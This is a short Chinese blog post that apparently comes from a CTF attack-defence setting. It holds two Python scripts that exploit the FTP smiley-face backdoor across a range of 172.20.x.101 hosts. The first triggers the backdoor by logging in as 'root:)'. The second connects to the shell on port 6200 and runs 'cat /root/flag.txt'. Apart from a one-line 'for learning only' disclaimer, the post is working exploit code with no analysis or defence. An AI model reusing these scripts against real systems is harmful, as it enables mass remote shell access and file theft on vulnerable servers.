博客主页 🐟
Python------linux系统ftp服务笑脸漏洞
Python------linux系统ftp服务笑脸漏洞

Author:

©

Wordage:

共计 832 字

needs:

约 1 分钟

Popular:

168 ℃

Created:

目 录

下面代码仅供学习参考,禁止用于其他非法途径

import ftplib
import threading
ips=[]
for i in range(101,124):
      ip='172.20.'+str(i)+'.101'
      ips.append(ip)
def con(host):
  try:
       f=ftplib.FTP(host)
       f.login('root:)','')
  except:
       pass
for i in ips:
       t=threading.Thread(target=con,args=(i,))
       t.start()

6200端口

import socket
import threading
ips=[]
for i in range(101,124):
      ip='172.20.'+str(i)+'.101'
      ips.append(ip)
def con(host):
    try:
        s=socket.socket()
        s.connect((host,6200))
        s.send(b'cat /root/flag.txt\n')
        data=s.recv(1024)
        print(host,data.decode('utf-8'))
    except:
        pass
for i in ips:
     t=threading.Thread(target=con,args=(i,))
     t.start()
文章二维码
Python------linux系统ftp服务笑脸漏洞
共计 0 条评论,点此发表评论
博客主页 哀.net OωO
萌ICP备20238808号 本站已运行 1 年 209 天 3 小时 33 分 Copyright © 2023 ~ 2024. 哀.net All rights reserved.
打赏图
打赏博主
欢迎
搜 索
足 迹
分 类
  • 默认分类
  • 语言分类
  • 其他分类